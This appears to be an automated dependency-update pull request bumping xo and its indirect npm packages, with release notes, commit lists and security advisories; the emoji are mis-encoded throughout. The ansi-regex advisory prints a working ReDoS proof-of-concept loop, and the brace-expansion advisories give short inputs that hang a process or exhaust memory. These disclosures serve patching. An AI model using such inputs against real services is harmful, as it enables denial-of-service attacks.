๐จ [security] Update xo 0.44.0 โ 4.0.0 (major)
๐จ Your current dependencies have known security vulnerabilities ๐จ
This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!
Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.
What changed?
โณ๏ธ xo (0.44.0 โ 4.0.0) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ @โbabel/code-frame (indirect, 7.12.11 โ 7.29.7) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 2 commits:
โ๏ธ @โbabel/helper-validator-identifier (indirect, 7.14.9 โ 7.29.7) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 2 commits:
โ๏ธ @โtypes/eslint (indirect, 7.28.0 โ 9.6.1) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/estree (indirect, 0.0.50 โ 1.0.9) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypes/json-schema (indirect, 7.0.9 โ 7.0.15) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ @โtypescript-eslint/eslint-plugin (indirect, 4.29.1 โ 8.63.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 27 commits:
chore(release): publish 8.63.0chore(deps): update pnpm to v10.34.4 (#12404)feat(eslint-plugin): [no-misused-promises] detect async usage of a sync dispose usage (#12426)chore(typescript-eslint): add rule-performance agent skill (#12436)fix(eslint-plugin): [no-base-to-string] don't flag a shadowed String() call (#12492)fix(eslint-plugin): [no-unnecessary-type-assertion] handle optional-chained calls to overloaded functions (#12491)docs: [no-base-to-string] clarify ignoredTypeNames description (#12488)docs: [ban-ts-comment] clarify that `@ts-expect-error` is allowed by default (#12487)chore: use agentscan and anti-slop actions (#12483)chore: skip force push bot in renovate PRs (#12478)docs: add AI Contribution Policy to the Contributing page (#12477)docs(website): make rule option default value human-friendly (#12476)docs: [restrict-template-expressions] clarify `allowArray` option behavior (#12472)fix(eslint-plugin): [method-signature-style] suggest converting readonly function properties instead of emitting invalid syntax (#12447)docs: clarify consistent-type-imports guidance for verbatimModuleSyntax (#12194)chore(deps): update dependency knip to v6.23.0 (#12489)chore(deps): update dependency eslint to v10.6.0 (#12484)chore(deps): update dependency knip to v6.22.0 (#12482)chore(eslint-plugin): switch auto-generated test cases to hand-written in prefer-optional-chain.test.ts (#12440)chore(deps): update dependency knip to v6.20.0 (#12474)docs: mention AI policy in templates (#12450)chore: replace yargs with Node.js built-in parseArgs (#12449)fix(scope-manager): export ClassStaticBlockScope (#12460)docs(eslint-plugin): [ban-ts-comment] fix wording of directive option descriptions (#12467)docs(eslint-plugin): [no-base-to-string] correct documented default for ignoredTypeNames (#12469)chore(deps): update dependency @types/node to v24.13.2 (#12422)chore(deps): update dependency knip to v6.18.0 (#12458)
โ๏ธ @โtypescript-eslint/parser (indirect, 4.29.1 โ 8.63.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 27 commits:
chore(release): publish 8.63.0chore(deps): update pnpm to v10.34.4 (#12404)feat(eslint-plugin): [no-misused-promises] detect async usage of a sync dispose usage (#12426)chore(typescript-eslint): add rule-performance agent skill (#12436)fix(eslint-plugin): [no-base-to-string] don't flag a shadowed String() call (#12492)fix(eslint-plugin): [no-unnecessary-type-assertion] handle optional-chained calls to overloaded functions (#12491)docs: [no-base-to-string] clarify ignoredTypeNames description (#12488)docs: [ban-ts-comment] clarify that `@ts-expect-error` is allowed by default (#12487)chore: use agentscan and anti-slop actions (#12483)chore: skip force push bot in renovate PRs (#12478)docs: add AI Contribution Policy to the Contributing page (#12477)docs(website): make rule option default value human-friendly (#12476)docs: [restrict-template-expressions] clarify `allowArray` option behavior (#12472)fix(eslint-plugin): [method-signature-style] suggest converting readonly function properties instead of emitting invalid syntax (#12447)docs: clarify consistent-type-imports guidance for verbatimModuleSyntax (#12194)chore(deps): update dependency knip to v6.23.0 (#12489)chore(deps): update dependency eslint to v10.6.0 (#12484)chore(deps): update dependency knip to v6.22.0 (#12482)chore(eslint-plugin): switch auto-generated test cases to hand-written in prefer-optional-chain.test.ts (#12440)chore(deps): update dependency knip to v6.20.0 (#12474)docs: mention AI policy in templates (#12450)chore: replace yargs with Node.js built-in parseArgs (#12449)fix(scope-manager): export ClassStaticBlockScope (#12460)docs(eslint-plugin): [ban-ts-comment] fix wording of directive option descriptions (#12467)docs(eslint-plugin): [no-base-to-string] correct documented default for ignoredTypeNames (#12469)chore(deps): update dependency @types/node to v24.13.2 (#12422)chore(deps): update dependency knip to v6.18.0 (#12458)
โ๏ธ @โtypescript-eslint/scope-manager (indirect, 4.29.1 โ 8.63.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 27 commits:
chore(release): publish 8.63.0chore(deps): update pnpm to v10.34.4 (#12404)feat(eslint-plugin): [no-misused-promises] detect async usage of a sync dispose usage (#12426)chore(typescript-eslint): add rule-performance agent skill (#12436)fix(eslint-plugin): [no-base-to-string] don't flag a shadowed String() call (#12492)fix(eslint-plugin): [no-unnecessary-type-assertion] handle optional-chained calls to overloaded functions (#12491)docs: [no-base-to-string] clarify ignoredTypeNames description (#12488)docs: [ban-ts-comment] clarify that `@ts-expect-error` is allowed by default (#12487)chore: use agentscan and anti-slop actions (#12483)chore: skip force push bot in renovate PRs (#12478)docs: add AI Contribution Policy to the Contributing page (#12477)docs(website): make rule option default value human-friendly (#12476)docs: [restrict-template-expressions] clarify `allowArray` option behavior (#12472)fix(eslint-plugin): [method-signature-style] suggest converting readonly function properties instead of emitting invalid syntax (#12447)docs: clarify consistent-type-imports guidance for verbatimModuleSyntax (#12194)chore(deps): update dependency knip to v6.23.0 (#12489)chore(deps): update dependency eslint to v10.6.0 (#12484)chore(deps): update dependency knip to v6.22.0 (#12482)chore(eslint-plugin): switch auto-generated test cases to hand-written in prefer-optional-chain.test.ts (#12440)chore(deps): update dependency knip to v6.20.0 (#12474)docs: mention AI policy in templates (#12450)chore: replace yargs with Node.js built-in parseArgs (#12449)fix(scope-manager): export ClassStaticBlockScope (#12460)docs(eslint-plugin): [ban-ts-comment] fix wording of directive option descriptions (#12467)docs(eslint-plugin): [no-base-to-string] correct documented default for ignoredTypeNames (#12469)chore(deps): update dependency @types/node to v24.13.2 (#12422)chore(deps): update dependency knip to v6.18.0 (#12458)
โ๏ธ @โtypescript-eslint/types (indirect, 4.29.1 โ 8.63.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 27 commits:
chore(release): publish 8.63.0chore(deps): update pnpm to v10.34.4 (#12404)feat(eslint-plugin): [no-misused-promises] detect async usage of a sync dispose usage (#12426)chore(typescript-eslint): add rule-performance agent skill (#12436)fix(eslint-plugin): [no-base-to-string] don't flag a shadowed String() call (#12492)fix(eslint-plugin): [no-unnecessary-type-assertion] handle optional-chained calls to overloaded functions (#12491)docs: [no-base-to-string] clarify ignoredTypeNames description (#12488)docs: [ban-ts-comment] clarify that `@ts-expect-error` is allowed by default (#12487)chore: use agentscan and anti-slop actions (#12483)chore: skip force push bot in renovate PRs (#12478)docs: add AI Contribution Policy to the Contributing page (#12477)docs(website): make rule option default value human-friendly (#12476)docs: [restrict-template-expressions] clarify `allowArray` option behavior (#12472)fix(eslint-plugin): [method-signature-style] suggest converting readonly function properties instead of emitting invalid syntax (#12447)docs: clarify consistent-type-imports guidance for verbatimModuleSyntax (#12194)chore(deps): update dependency knip to v6.23.0 (#12489)chore(deps): update dependency eslint to v10.6.0 (#12484)chore(deps): update dependency knip to v6.22.0 (#12482)chore(eslint-plugin): switch auto-generated test cases to hand-written in prefer-optional-chain.test.ts (#12440)chore(deps): update dependency knip to v6.20.0 (#12474)docs: mention AI policy in templates (#12450)chore: replace yargs with Node.js built-in parseArgs (#12449)fix(scope-manager): export ClassStaticBlockScope (#12460)docs(eslint-plugin): [ban-ts-comment] fix wording of directive option descriptions (#12467)docs(eslint-plugin): [no-base-to-string] correct documented default for ignoredTypeNames (#12469)chore(deps): update dependency @types/node to v24.13.2 (#12422)chore(deps): update dependency knip to v6.18.0 (#12458)
โ๏ธ @โtypescript-eslint/typescript-estree (indirect, 4.29.1 โ 8.63.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 27 commits:
chore(release): publish 8.63.0chore(deps): update pnpm to v10.34.4 (#12404)feat(eslint-plugin): [no-misused-promises] detect async usage of a sync dispose usage (#12426)chore(typescript-eslint): add rule-performance agent skill (#12436)fix(eslint-plugin): [no-base-to-string] don't flag a shadowed String() call (#12492)fix(eslint-plugin): [no-unnecessary-type-assertion] handle optional-chained calls to overloaded functions (#12491)docs: [no-base-to-string] clarify ignoredTypeNames description (#12488)docs: [ban-ts-comment] clarify that `@ts-expect-error` is allowed by default (#12487)chore: use agentscan and anti-slop actions (#12483)chore: skip force push bot in renovate PRs (#12478)docs: add AI Contribution Policy to the Contributing page (#12477)docs(website): make rule option default value human-friendly (#12476)docs: [restrict-template-expressions] clarify `allowArray` option behavior (#12472)fix(eslint-plugin): [method-signature-style] suggest converting readonly function properties instead of emitting invalid syntax (#12447)docs: clarify consistent-type-imports guidance for verbatimModuleSyntax (#12194)chore(deps): update dependency knip to v6.23.0 (#12489)chore(deps): update dependency eslint to v10.6.0 (#12484)chore(deps): update dependency knip to v6.22.0 (#12482)chore(eslint-plugin): switch auto-generated test cases to hand-written in prefer-optional-chain.test.ts (#12440)chore(deps): update dependency knip to v6.20.0 (#12474)docs: mention AI policy in templates (#12450)chore: replace yargs with Node.js built-in parseArgs (#12449)fix(scope-manager): export ClassStaticBlockScope (#12460)docs(eslint-plugin): [ban-ts-comment] fix wording of directive option descriptions (#12467)docs(eslint-plugin): [no-base-to-string] correct documented default for ignoredTypeNames (#12469)chore(deps): update dependency @types/node to v24.13.2 (#12422)chore(deps): update dependency knip to v6.18.0 (#12458)
โ๏ธ @โtypescript-eslint/visitor-keys (indirect, 4.29.1 โ 8.63.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 27 commits:
chore(release): publish 8.63.0chore(deps): update pnpm to v10.34.4 (#12404)feat(eslint-plugin): [no-misused-promises] detect async usage of a sync dispose usage (#12426)chore(typescript-eslint): add rule-performance agent skill (#12436)fix(eslint-plugin): [no-base-to-string] don't flag a shadowed String() call (#12492)fix(eslint-plugin): [no-unnecessary-type-assertion] handle optional-chained calls to overloaded functions (#12491)docs: [no-base-to-string] clarify ignoredTypeNames description (#12488)docs: [ban-ts-comment] clarify that `@ts-expect-error` is allowed by default (#12487)chore: use agentscan and anti-slop actions (#12483)chore: skip force push bot in renovate PRs (#12478)docs: add AI Contribution Policy to the Contributing page (#12477)docs(website): make rule option default value human-friendly (#12476)docs: [restrict-template-expressions] clarify `allowArray` option behavior (#12472)fix(eslint-plugin): [method-signature-style] suggest converting readonly function properties instead of emitting invalid syntax (#12447)docs: clarify consistent-type-imports guidance for verbatimModuleSyntax (#12194)chore(deps): update dependency knip to v6.23.0 (#12489)chore(deps): update dependency eslint to v10.6.0 (#12484)chore(deps): update dependency knip to v6.22.0 (#12482)chore(eslint-plugin): switch auto-generated test cases to hand-written in prefer-optional-chain.test.ts (#12440)chore(deps): update dependency knip to v6.20.0 (#12474)docs: mention AI policy in templates (#12450)chore: replace yargs with Node.js built-in parseArgs (#12449)fix(scope-manager): export ClassStaticBlockScope (#12460)docs(eslint-plugin): [ban-ts-comment] fix wording of directive option descriptions (#12467)docs(eslint-plugin): [no-base-to-string] correct documented default for ignoredTypeNames (#12469)chore(deps): update dependency @types/node to v24.13.2 (#12422)chore(deps): update dependency knip to v6.18.0 (#12458)
โ๏ธ acorn (indirect, 7.4.1 โ 8.17.0) ยท Repo
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ ajv (indirect, 6.12.6 โ 6.15.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 9 commits:
6.15.0test/fix prototype pollution via $data ref with format keyword (#2606)6.14.0add regExp option to address $data exploit via a regular expression (CVE-2025-69873) (#2590)docs: update v7 infoMerge pull request #1320 from philsturgeon/patch-1Add spectral, an AJV util from a sponsordocs: v7.0.0-beta.3update readme for v7
โ๏ธ ansi-escapes (indirect, 4.3.2 โ 7.3.0) ยท Repo
Release Notes
7.3.0
- Add synchronized output escapes 9b1e276
7.2.0
7.1.1
7.1.0
- Add
clearViewportas safer alternative toclearScreenfbd49be- Add ConEmu support and common
setCwdmethod f4924fb
7.0.0
Breaking
- Require Node.js 18 2c603eb
Improvements
6.2.1
- Fix compatibility with TypeScript 5.4 3b1f99e
6.2.0
6.1.0
6.0.0
Breaking
- Require Node.js 14 96312e0
Improvements
- Update dependencies 96312e0
5.0.0
Breaking
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 28 commits:
7.3.0Add synchronized output escapes7.2.0Enable ANSI escape sequences on modern WindowsAdd tmux support for OSC sequences7.1.1TweaksImprove compatibility for `image()` (#39)7.1.0Add `clearViewport` as safer alternative to `clearScreen`Add ConEmu support and common `setCwd` methodFix CI7.0.0Require Node.js 18Provide named exports (#37)6.2.1Fix compatibility with TypeScript 5.4Meta tweaksUpdate link to VT100 escape sequences site in the readme (#36)6.2.0Add escapes for entering/exiting the alternative screen (#33)6.1.0Support browser usage (#31)6.0.0Require Node.js 14 and update dependenciesUpdate `cursorTo` to use `SEP` constant (#28)5.0.0Require Node.js 12 and move to ESM
โ๏ธ ansi-regex (indirect, 5.0.0 โ 6.2.2) ยท Repo
Security Advisories ๐จ
๐จ Inefficient Regular Expression Complexity in chalk/ansi-regex
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
Proof of Concept
import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") }The ReDOS is mainly due to the sub-patterns
[[\\]()#;?]*and(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
๐จ Inefficient Regular Expression Complexity in chalk/ansi-regex
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
Proof of Concept
import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") }The ReDOS is mainly due to the sub-patterns
[[\\]()#;?]*and(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
Release Notes
6.2.2
- Fix vulnerability in 6.2.1, see: chalk/chalk#656
6.2.0
6.1.0
6.0.1
Fixes
- Fix ReDoS in certain cases (#37)
You are only really affected if you run the regex on untrusted user input in a server context, which it's very unlikely anyone is doing, since this regex is mainly used in command-line tools.Thank you @yetingli for the patch and reproduction case!
6.0.0
Breaking
5.0.1
Fixes (backport of
6.0.1to v5)This is a backport of the minor ReDos vulnerability in
ansi-regex@<6.0.1, as requested in #38.
- Fix ReDoS in certain cases (#37)
You are only really affected if you run the regex on untrusted user input in a server context, which it's very unlikely anyone is doing, since this regex is mainly used in command-line tools.https://github.com/chalk/ansi-regex/compare/v5.0.0..v5.0.1
Thank you @yetingli for the patch and reproduction case!
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 17 commits:
6.2.26.2.0Add test for #57Simplify regexSupport colon separated parameters to control sequences (#62)Readme update6.1.0Fix: Handle all valid ST characters (#58)Meta tweaksMatch cursorSave and cursorRestore escape codes (#45)fix incorrect format6.0.1Fix potential ReDoS (#37)6.0.0Require Node.js 12 and move to ESMMove to GitHub Actions (#35)Add @Qix- to funding.yml
โ๏ธ argparse (indirect, 1.0.10 โ 2.0.1) ยท Repo ยท Changelog
Release Notes
2.0.1 (from changelog)
Fixed
- Fix issue with
process.argvwhen used with interpreters (coffee,ts-node, etc.), #150.
2.0.0 (from changelog)
Changed
- Full rewrite. Now port from python 3.9.0 & more precise following. See doc for difference and migration info.
- node.js 10+ required
- Removed most of local docs in favour of original ones.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 15 commits:
2.0.1 releasedAlways assume process.argv[0] is interpreterAdd more migration docs2.0.0 releasedImplement argparse.js version 2.0Add 2.0 configs & docsDrop old sources (2.0 is full rewrite)Merge pull request #145 from lpinca/document/version-optionAdd documentation for the version optionreadme: update titelift infochangelog format updateAdd Tidelift link & fix headers formattingCreate FUNDING.ymlMerge pull request #129 from marcin-mazurek/patch-1Fix require statements in README examples
โ๏ธ balanced-match (indirect, 1.0.2 โ 4.0.4) ยท Repo
Release Notes
3.0.1
3.0.0
Major change because this is an ESM now ๐ Nothing else major changed.
- pkg: add engines d59077b
- update standard, remove prettier-standard 7f569d3
- modernize 436bcdd
- add github actions ci (#48) dfbd94f
- docs: update badges 37fe34f
- Bump got and np (#47) 6bce041
- Bump word-wrap from 1.2.3 to 1.2.4 (#46) eaa266f
- Bump http-cache-semantics from 4.1.0 to 4.1.1 (#44) 4d80db3
- Bump ansi-regex (#43) ebfcd39
- Bump json5 from 1.0.1 to 1.0.2 (#42) ee6f172
- Bump normalize-url from 4.5.0 to 4.5.1 (#38) 0d22310
- Bump hosted-git-info from 2.8.8 to 2.8.9 (#39) 0063a93
- Bump path-parse from 1.0.6 to 1.0.7 (#40) fffa66b
- Bump trim-newlines from 3.0.0 to 3.0.1 (#37) 97bd4dd
- added jsdoc (#35) 7e45d61
- Update .npmignore (#34) 10eec4f
2.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 39 commits:
4.0.4chore: support node 18 (#61)add `SECURITY.md`Bump tar from 7.5.7 to 7.5.9 (#60)4.0.3remove unused dependency `jackspeak` (#59)4.0.2Isaacs/merge back (#57)Bump lodash from 4.17.21 to 4.17.23 (#56)Bump braces from 3.0.2 to 3.0.3 (#51)add `tea.yaml`3.0.1package.json: Switch from "main" to "exports" (#50)Create CODE_OF_CONDUCT.mdBump minimist from 1.2.5 to 1.2.8 (#49)3.0.0pkg: add enginesupdate standard, remove prettier-standardmodernizeadd github actions ci (#48)docs: update badgesBump got and np (#47)Bump word-wrap from 1.2.3 to 1.2.4 (#46)Bump http-cache-semantics from 4.1.0 to 4.1.1 (#44)Bump ansi-regex (#43)Bump json5 from 1.0.1 to 1.0.2 (#42)Bump normalize-url from 4.5.0 to 4.5.1 (#38)Bump hosted-git-info from 2.8.8 to 2.8.9 (#39)Bump path-parse from 1.0.6 to 1.0.7 (#40)Bump trim-newlines from 3.0.0 to 3.0.1 (#37)added jsdoc (#35)Update .npmignore (#34)2.0.0update package-lock.jsonRevert "Revert "travis: update node versions (#30)""Revert "Revert "add np""Revert "Revert "update matcha""Revert "Revert "add prettier-standard""Revert "Revert "add standard""
โ๏ธ brace-expansion (indirect, 1.1.11 โ 5.0.7) ยท Repo
Security Advisories ๐จ
๐จ brace-expansion: Large numeric range defeats documented `max` DoS protection
The
maxoption was being applied too late:When expanding a single large numeric range like
{1..10000000}, the sequence generation loop generates all 10 million intermediate elements before themaxlimit is applied Withmax=10, the output is correctly limited to 10 items, but the process still allocates~505 MBand spends~800msbuilding the full intermediate array.Workaround
Ensure the string to be expanded doesn't contain more values than the desired
maxitem count.
๐จ brace-expansion: Zero-step sequence causes process hang and memory exhaustion
Impact
A brace pattern with a zero step value (e.g.,
{1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.The loop in question:
Line 184 in daa71bc
test()is one ofLines 107 to 113 in daa71bc
The increment is computed as
Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing aRangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.This affects any application that passes untrusted strings to expand(), or by error sets a step value of
0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.Patches
Upgrade to versions
- 5.0.5+
A step increment of 0 is now sanitized to 1, which matches bash behavior.
Workarounds
Sanitize strings passed to
expand()to ensure a step value of0is not used.
๐จ brace-expansion: Zero-step sequence causes process hang and memory exhaustion
Impact
A brace pattern with a zero step value (e.g.,
{1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.The loop in question:
Line 184 in daa71bc
test()is one ofLines 107 to 113 in daa71bc
The increment is computed as
Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing aRangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.This affects any application that passes untrusted strings to expand(), or by error sets a step value of
0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.Patches
Upgrade to versions
- 5.0.5+
A step increment of 0 is now sanitized to 1, which matches bash behavior.
Workarounds
Sanitize strings passed to
expand()to ensure a step value of0is not used.
๐จ brace-expansion: Zero-step sequence causes process hang and memory exhaustion
Impact
A brace pattern with a zero step value (e.g.,
{1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.The loop in question:
Line 184 in daa71bc
test()is one ofLines 107 to 113 in daa71bc
The increment is computed as
Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing aRangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.This affects any application that passes untrusted strings to expand(), or by error sets a step value of
0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.Patches
Upgrade to versions
- 5.0.5+
A step increment of 0 is now sanitized to 1, which matches bash behavior.
Workarounds
Sanitize strings passed to
expand()to ensure a step value of0is not used.
๐จ brace-expansion: Zero-step sequence causes process hang and memory exhaustion
Impact
A brace pattern with a zero step value (e.g.,
{1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.The loop in question:
Line 184 in daa71bc
test()is one ofLines 107 to 113 in daa71bc
The increment is computed as
Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing aRangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.This affects any application that passes untrusted strings to expand(), or by error sets a step value of
0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.Patches
Upgrade to versions
- 5.0.5+
A step increment of 0 is now sanitized to 1, which matches bash behavior.
Workarounds
Sanitize strings passed to
expand()to ensure a step value of0is not used.
๐จ brace-expansion Regular Expression Denial of Service vulnerability
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is
a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.
๐จ brace-expansion Regular Expression Denial of Service vulnerability
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is
a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.
๐จ brace-expansion Regular Expression Denial of Service vulnerability
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is
a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.
๐จ brace-expansion Regular Expression Denial of Service vulnerability
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is
a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.
Release Notes
4.0.1
4.0.0
As a precaution to not risk breaking anything with 278132b, this is a new semver major release
3.0.1
- pkg: publish on tag 3.x 3059c07
- fmt 8229e6f
- Fix potential ReDoS Vulnerability or Inefficient Regular Expression (#65) 15f9b3c
3.0.0
- Switch to ES Modules and balanced-match 3.0.0 (#62) c0360e8
- added jsdoc (#55) 68c0e37
- node 16 is EOL 9e781e9
- add standard 3494c4d
- use const and let (#57) dd5a4cb
- docs 6dad209
- remove
teste3dd8ae- ci: update node versions d23ede9
- docs: add @lanodan to contributors 1eb3fa4
- docs 1e7c9cd
- switch from tape to test module (#60) 2520537
- Bump minimist from 1.2.5 to 1.2.6 (#59) 61a94f1
- Bump path-parse from 1.0.6 to 1.0.7 (#51) dc741cf
- docs: add back ci badge 8ee5626
- Add github actions, remove travis. Closes #52 (#53) 5c8756a
- CI: Drop unused sudo: false Travis directive (#50) 05978a7
2.0.2
- pkg: publish on tag 2.x 14f1d91
- fmt ed7780a
- Fix potential ReDoS Vulnerability or Inefficient Regular Expression (#65) 36603d5
1.1.12
- pkg: publish on tag 1.x c460dbd
- fmt ccb8ac6
- Fix potential ReDoS Vulnerability or Inefficient Regular Expression (#65) c3c73c8
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 65 commits:
5.0.7Merge commit from forkBump tar from 7.5.11 to 7.5.16 (#116)fix(package.json): use git+https instead of git+ssh for repository URL (#115)Bump ip-address from 10.1.0 to 10.2.0 (#104)Update ci.yml (#107)Bump minimatch (#106)ci: correct test workflow (#105)5.0.6Merge commit from forkBump picomatch from 4.0.3 to 4.0.4 (#93)5.0.5Merge commit from forkBump tar from 7.5.10 to 7.5.11 (#92)Bump tar from 7.5.9 to 7.5.10 (#90)5.0.4Fix handling of brackets. Closes #87Correct incorrect brace-expansion import (#89)5.0.3chore: support node 18 (#85)Bump tar from 7.5.7 to 7.5.9 (#84)add `SECURITY.md`5.0.2Isaacs/merge back (#83)docs: security (#81)Bump lodash from 4.17.21 to 4.17.23 (#80)Fix broken repository URL in package.json (#75)Bump js-yaml from 4.1.0 to 4.1.1 (#79)4.0.1fmtFix potential ReDoS Vulnerability or Inefficient Regular Expression (#65)4.0.0fmtfeat: use string replaces instead of splits (#64)add `tea.yaml`3.0.0node 16 is EOLdocsremove `test`ci: update node versionsadd standarddocs: add @lanodan to contributorsdocsSwitch to ES Modules and balanced-match 3.0.0 (#62)switch from tape to test module (#60)Bump minimist from 1.2.5 to 1.2.6 (#59)use const and let (#57)added jsdoc (#55)Bump path-parse from 1.0.6 to 1.0.7 (#51)docs: add back ci badgeAdd github actions, remove travis. Closes #52 (#53)CI: Drop unused sudo: false Travis directive (#50)2.0.1switch to fork of matcha that works on node>12Ignore only blocks that begins with $ (#49)Adds travis jobs on ppc64le (#48)2.0.0Remove concat-map dependency (#47)Update travis to supported node.js versions (#46)Remove useless `identity` function (#44)add patreon to FUNDING.ymldocs: add SECURITYadd FUNDING.ymlMerge pull request #42 from juliangruber/greenkeeper/update-to-node-10Update to node 10 in .travis.yml
โ๏ธ braces (indirect, 3.0.2 โ 3.0.3) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Uncontrolled resource consumption in braces
The NPM package
bracesfails to limit the number of characters it can handle, which could lead to Memory Exhaustion. Inlib/parse.js,if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.
Commits
See the full diff on Github. The new version differs by 12 commits:
3.0.3update eslint. lint, fix unit tests.Snyk js braces 6838727 (#40)fix tests, skip 1 test in test/braces.expandreadme bumpMerge pull request #37 from coderaiser/fix/vulnerabilityfeature: braces: add maxSymbols (https://github.com/micromatch/braces/issues/36#issuecomment-2110820796)fix: vulnerability (https://security.snyk.io/vuln/SNYK-JS-BRACES-6838727)remove funding fileupdate keepEscaping doc (#27)Failing test cases for issue \#29 (#30)Create FUNDING.yml
โ๏ธ browserslist (indirect, 4.16.7 โ 4.28.5) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ builtin-modules (indirect, 3.2.0 โ 5.3.0) ยท Repo
Release Notes
5.3.0
5.2.0
5.1.0
5.0.0
Breaking
- Remove
punycodesince it's deprecatedImprovements
4.0.0
Breaking
3.3.0
